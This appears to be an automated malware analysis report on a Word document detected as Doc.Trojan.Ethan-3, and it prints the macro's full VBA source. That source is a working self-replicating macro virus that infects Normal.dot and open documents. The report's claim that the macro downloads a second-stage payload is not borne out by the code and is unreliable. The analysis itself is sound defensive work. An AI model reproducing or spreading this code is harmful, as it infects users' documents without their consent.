Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c0cf3dea388e610c…

MALICIOUS

Office (OLE)

39.0 KB Created: 2003-09-08 12:29:00 Authoring application: Microsoft Word 9.0 First seen: 2020-09-07
MD5: de0039601868adc9a60e43317fc2951d SHA-1: 223dedd9dab7bd6f8468db9afb63be4d0fca0b07 SHA-256: c0cf3dea388e610c6321a96cb676f9a9fad811738f0208690d9db706508ea9b8
180 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious Office documents. The macro attempts to write its own code to a temporary file named 'c:\evolve.tmp'. This suggests the macro's purpose is to download and execute a second-stage payload. The ClamAV detection 'Doc.Trojan.Ethan-3' further confirms its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Ethan-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2241 bytes
SHA-256: e2620f32f105bc3a5afc742e6bb953d864abef090b4d17f39e67e72a7e250fe4
Detection
ClamAV: Doc.Trojan.Ethan-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
With Options:
    Set prevDocument = NormalTemplate
    Set nextDocument = NewDocument
    .SaveNormalPrompt = False:
    .SavePropertiesPrompt = False:
End With
s = ActiveDocument.Saved
sName = "c:\evolve.tmp"
sFunc = "Private Sub Document_Open()"
Found = False
If Dir(sName) <> "" Then Kill sName
Open sName For Output As #1
For i = 0 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
    If Found = False And (a = sFunc) Then Found = True
    If a <> "" And Found = True Then Print #1, a
    If a = "End Sub" And Found = True Then Found = False
Next i
Close #1
j = 1
k = 1
t = 0
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
    Set nml = NormalTemplate.VBProject.VBComponents.Item(1)
    t = t + 1
End If
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
    Set atv = ActiveDocument.VBProject.VBComponents.Item(1)
    t = t + 2
End If
If t > 0 Then
    Open sName For Input As #1
    If LOF(1) = 0 Then GoTo quit
    i = 1
    Do While Not EOF(1)
        Line Input #1, a
        If t = 1 Or t = 3 Then
            nml.CodeModule.InsertLines j, a
            j = j + 1
        End If
        If t = 2 Or t = 3 Then
            atv.CodeModule.InsertLines k, a
            k = k + 1
        End If
    Loop
quit:
    Close #1
End If
With Dialogs(wdDialogFileSumaryInfo):
    .Title = "Ethan Frome":
    .Author = "EW/LN/CB":
    .Keywrds = "Ethan":
    .Execute:
End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
Kill sName
Application.EnableCancelKey = wdCancelInterrupt
End Sub

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